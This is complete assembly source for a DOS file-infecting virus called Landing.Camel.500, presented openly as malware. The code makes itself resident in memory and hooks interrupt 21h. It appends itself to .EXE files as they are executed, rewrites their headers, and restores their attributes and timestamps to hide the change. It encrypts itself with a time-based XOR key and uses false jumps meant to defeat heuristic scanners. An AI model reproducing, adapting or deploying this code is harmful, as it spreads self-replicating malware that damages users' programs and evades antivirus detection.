;==================================================;| ; LANDING.CAMEL.6.500 ;| ;==================================================;| ; TSR..................... Yes ;| ; Encrypted............... Yes ;| ; Appending Virus......... Yes ;| ; EXE infector............ Yes ;| ; Reset Attributes........ Yes ;| ; Reset Time/Date......... Yes ;| ;==================================================;| ;| ;--------------------------------------------------;| ;| ORG 0H ;|Simulate installed virus ;| ;==================================================;| VIRUS_START: ;|Start of the virus ;==================================================;| ;| CALL $+3 ;|Calculate the delta offset POP BP ;|Pop return address off stack SUB BP,3 ;|BP now contains the delta offset PUSH ES ;|Save location of PSP PUSH DS ;|Save location of PSP PUSH CS ;|Save the code segment POP DS ;|Point DS to the code segment PUSH CS ;|Save the code segment POP ES ;|Point DS to the code segment CALL ENCRYPT_DECRYPT ;|Decrypt the virus ;| ;++++++++++++++++++++++++++++++++++++++++++++++++++;| ENCRYPT_START: ;|Start encrypted region ;++++++++++++++++++++++++++++++++++++++++++++++++++;| ;| ;==================================================;| INSTALL_CHECK: ;| ;==================================================;| ;| POP ES ;|Restore pointer to PSP POP DS ;|Restore pointer to PSP MOV AH,0BH ;|DOS Function INT 21H ;|Call interrupt OR AH,AH ;|AH=0? JNE INSTALL_START ;|No! Install the virus ;| ;==================================================;| INSTALL_START: ;| ;==================================================;| ;| PUSH DS ;|Save original DS PUSH ES ;|Save original ES MOV AH,4AH ;|DOS Function-Allocate memory MOV BX,0FFFFH ;|A Really big number INT 21H ;|Call interrupt SUB BX,(VIRUS_LENGTH+15+HEAP)/16+1 ;|Subtract from the total MOV AX,4A00H ;|Shrink the block INT 21H ;|Call interrupt MOV AX,4800H ;|Allocate the memory MOV BX,(VIRUS_LENGTH+15+HEAP)/16 ;|Amount to allocate INT 21H ;|Call interrupt MOV ES,AX ;|Point ES to the new MCB DEC AX ;|AX=MCB MOV DS,AX ;|DS=AX=MCB MOV BYTE PTR DS:[0],'Z' ;|Mark the end of the block MOV WORD PTR DS:[1],8 ;|Identify as a DOS program PUSH CS ;|Change to the old segment POP DS ;|DS=CS XOR DI,DI ;|Copy virus to memory MOV CX,(VIRUS_LENGTH+1)/2 ;|Number of bytes to copy LEA SI,BP ;|Start at the beginning REP MOVSW ;|Move DS:[SI] to ES:[DI] ;| ;==================================================;| INSTALL_NEW_INT21H: ;| ;==================================================;| ;| MOV DS,CX ;|Change to the Interrupt Table MOV AX,WORD PTR DS:[21H*4] ;|Load the offset of int 21h into AX MOV WORD PTR ES:OLD_INT21H,AX ;|Save the offset of int 21h MOV AX,WORD PTR DS:[21H*4+2] ;|Load the segment of int 21h into AX MOV WORD PTR ES:OLD_INT21H+2,AX ;|Save the segment of int 21h PUSH ES ;|Save ES POP DS ;|Change segment to virus in memory MOV AX,2521H ;|DOS Function-Set Interrupt Vector LEA DX,NEW_INT21H ;|Point to our procedure INT 21H ;|Call interrupt POP ES ;|Restore original ES POP DS ;|Restore original DS ;| ;==================================================;| INSTALL_FINISH: ;| ;==================================================;| ;| MOV AX,ES ;|AX = PSP ADD AX,10H ;|AX = PSP + 10h ADD WORD PTR CS:[BP+_CS],AX ;|Save this address in CS:IP CLI ;|Clear maskable interrupts MOV SP,WORD PTR CS:[BP+_SP] ;|Manipulate stack ADD AX,WORD PTR CS:[BP+_SS] ;| MOV SS,AX ;|Manipulate stack STI ;|Restore maskable interrupts XOR AX,AX ;|Clear register XOR BX,BX ;|Clear register CWD ;|Clear register XOR BP,BP ;|Clear register XOR SI,SI ;|Clear register XOR DI,DI ;|Clear register ;| ;==================================================;| VIRUS_DATA: ;| ;==================================================;| DB 0EAH ;|Jump back to program _IP DW 0H ;|Original IP _CS DW 0FFF0H ;|Original CS _SP DW 0H ;|Original SP _SS DW 0H ;|Original SS _MSG DB 'Landing.Camel.500' ;|Virus named after author ;| ;==================================================;| NEW_INT21H: ;| ;==================================================;| CMP AH,0BH ;|Installation check? JE INSTALLATION_CHECK ;|Yes! Lets go do it PUSHF ;|Save flags PUSHA ;|Save registers PUSH DS ;|Save registers PUSH ES ;|Save registers CMP AX,4B00H ;|DOS Function-Execute file? JE INFECT_FILE ;|Yes! Lets go do it ;| ;==================================================;| QUIT: ;| ;==================================================;| ;| POP ES ;| POP DS ;| POPA ;| POPF ;| DB 0EAH ;|Jump far instruction OLD_INT21H DD ? ;|Original Int 21h address ;| ;==================================================;| INSTALLATION_CHECK: ;| ;==================================================;| ;| CBW ;|Clear AH IRET ;| ;| ;==================================================;| INFECT_FILE: ;| ;==================================================;| ;| MOV SI,DX ;|Load filename from DS:[DX] into DS:[SI] ;| ;==================================================;| CHECK_EXTENSION: ;|Loop to test extension ;==================================================;| ;| LODSB ;|Load a byte into AL from DS:[SI] OR AL,AL ;|Are we at the end? JE QUIT ;|Yes! No extension! CMP AL,"." ;|Is it a point? JNE CHECK_EXTENSION ;|No! Test the next letter LODSW ;|Load a word into AX from DS:[SI] CMP AX,"XE" ;|Are the first letters EX? JNE QUIT ;|No! Quit LODSB ;|Load a byte into AL from DS:[SI] CMP AL,"E" ;|Is the last letter E? JNE QUIT ;|No! Quit MOV AX,4300H ;|DOS function=Get File Attribute XOR CX,CX ;| INT 21H ;|Call original interrupt PUSH CX ;|Save file attribute MOV AX,4301H ;|DOS function=Set File Attribute PUSH AX ;|Save attributes XOR CX,CX ;|CX=0 so file attribute is normal file INT 21H ;|Call original interrupt MOV AX,3D02H ;|DOS function=Open a File (Read and Write) INT 21H ;|DX holds the name of the file JC RESTORE_ATTRIBUTES ;|Error opening file! XCHG BX,AX ;|Exchange handle MOV AX,5700H ;|DOS function=Get File Time/Date INT 21H ;|Call original interrupt PUSH CX ;|Save Time PUSH DX ;|Save Date PUSH CS ;|Change the segment to ours POP DS ;|rather than the infectee PUSH CS ;|Change the segment to ours POP ES ;|rather than the infectee MOV AH,3FH ;|DOS function=Read from File LEA DX,_HEADER ;|Save the original header MOV CX,1AH ;|Read the original header INT 21H ;|Call original interrupt CMP BYTE PTR _HEADER,'Z' ;|Is the first byte a Z? JZ INFECT_EXE ;|File is really a .EXE CMP BYTE PTR _HEADER,'M' ;|Is the first byte a M? JZ INFECT_EXE ;|File is really a .EXE ;| ;==================================================;| CLOSE_FILE: ;| ;==================================================;| ;| MOV AX,5701H ;|DOS function=Set File Time/Date POP DX ;|CX=original time value POP CX ;|DX=original date value INT 21H ;|Call original interrupt MOV AH,3EH ;|Close file function INT 21H ;|Call original interrupt ;| ;==================================================;| RESTORE_ATTRIBUTES: ;| ;==================================================;| ;| POP AX ;|Restore attribute POP CX ;|Restore attribute INT 21H ;|Call original interrupt JMP QUIT ;|Leave it all behind ;| ;==================================================;| INFECT_EXE: ;| ;==================================================;| ;| CMP BYTE PTR [_HEADER+18H],"@" ;|Is it a windows executable? JZ CLOSE_FILE ;|Yes! Lets leave CMP WORD PTR [_HEADER+10H],"LC" ;|Is the file already infected? JZ CLOSE_FILE ;|Yes! Lets leave MOV AX,4202H ;|DOS function=Set File Pointer XOR CX,CX ;|Go to end of file (EOF) CWD ;|Same as XOR DX,DX INT 21H ;|Call original interrupt PUSH AX ;|Save file size PUSH DX ;|Save file size MOV CX,WORD PTR [_HEADER+14H] ;|Save IP MOV CS:[_IP],CX ;|Save IP MOV CX,WORD PTR [_HEADER+16H] ;|Save CS MOV CS:[_CS],CX ;|Save CS MOV CX,WORD PTR [_HEADER+10H] ;|Save SP MOV CS:[_SP],CX ;|Save SP MOV CX,WORD PTR [_HEADER+0EH] ;|Save SS MOV CS:[_SS],CX ;|Save SS MOV CX,WORD PTR [_HEADER+08H] ;|Get header length SHL CX,4 ;|Convert length into bytes SUB AX,CX ;|Subtract header size SBB DX,0 ;|From file size MOV CX,10H ;|Divide the result by paragraphs DIV CX ;|to get OFFSET:SEGMENT form MOV WORD PTR [_HEADER+14H],DX ;|New IP MOV WORD PTR [_HEADER+16H],AX ;|New CS MOV WORD PTR [_HEADER+10H],"LC" ;|ID marker for Landing Camel POP DX ;|Restore file size POP AX ;|Restore file size ADD AX,VIRUS_LENGTH ;|Add virus size to ADC DX,0 ;|the file size MOV CX,200H ;|Divide AX by size of page DIV CX ;|and put remainder in DX OR DX,DX ;|Is there no remainder? JZ WRITE_VIRUS ;|Yes! INC AX ;|Increment the number of pages ;| ;==================================================;| WRITE_VIRUS: ;| ;==================================================;| ;| MOV WORD PTR [_HEADER+02H],DX ;|Save number of pages MOV WORD PTR [_HEADER+04H],AX ;|Save bytes in the last page MOV AH,2CH ;|DOS Function-Get System Time INT 21H ;|Call original interrupt XCHG CH,CL ;|Switch hours with minutes ADD DX,CX ;|Add minutes to seconds ... XOR DX,WORD PTR ENCRYPT_KEY ;|XOR with previous key MOV WORD PTR CS:ENCRYPT_KEY,DX ;|Save the new key XOR DI,DI ;|Start at beginning of the block XOR SI,SI ;|Start at beginning of the block MOV AX,08D00H ;|Choose a temporary segment MOV ES,AX ;|Now point to it MOV CX,(VIRUS_LENGTH+1)/2 ;|Number of words to copy REP MOVSW ;|Copy the code PUSH ES ;|Change the working segment to POP DS ;|the freshly copied part XOR BP,BP ;|Alter the delta offset CALL ENCRYPT_DECRYPT ;| LEA DX,VIRUS_START ;|Start copying from beginning MOV CX,VIRUS_LENGTH ;|Amount to copy MOV AX,4000H ;|DOS Function-Write to file INT 21H ;|Call original interrupt PUSH CS ;|Change the segment POP DS ;|to the original file MOV AX,4200H ;|DOS function=Set File Pointer XOR CX,CX ;|Go to beginning of file (BOF) CWD ;|Same as XOR DX,DX INT 21H ;|Call original interrupt MOV CX,1AH ;|DOS function=Write to File MOV AX,4000H ;|Write 1AH bytes to beginning of file LEA DX,_HEADER ;|From _HEADER INT 21H ;|Call original interrupt JMP CLOSE_FILE ;|All finished lets go ;| ;++++++++++++++++++++++++++++++++++++++++++++++++++;| ENCRYPT_END: ;|End encrypted region ;++++++++++++++++++++++++++++++++++++++++++++++++++;| ;| ;==================================================;| ENCRYPT_DECRYPT: ;| ;==================================================;| ;| LEA SI,[BP+ENCRYPT_START] ;|Start from the beginning MOV DI,SI ;|Start from the beginning MOV CX,ENCRYPT_LENGTH/2 ;|How much to encrypt ;| ;==================================================;| XOR_LOOP: ;| ;==================================================;| ;| LODSW ;|Load word from SI into AX and INC SI JNC FALSE_JMP1 ;|Anti-heuristic ;| ;==================================================;| FALSE_JMP2: ;| ;==================================================;| ;| STOSW ;|Load word from AX into DI and INC DI LOOP XOR_LOOP ;|Loop until finished RET ;| ;| ;==================================================;| FALSE_JMP1: ;| ;==================================================;| ;| DB 35H ;|This means XOR AX,WORD VALUE ENCRYPT_KEY DW 0000 ;|Random encryption key JNC FALSE_JMP2 ;|Anti-heuristic ;| ;==================================================;| VIRUS_END: ;| ;==================================================;| ;| _HEADER DB 1AH DUP (?) ;|Original Header ;| ;--------------------------------------------------;| HEAP EQU 1AH ENCRYPT_LENGTH EQU OFFSET ENCRYPT_END - OFFSET ENCRYPT_START VIRUS_LENGTH EQU OFFSET VIRUS_END - OFFSET VIRUS_START END VIRUS_START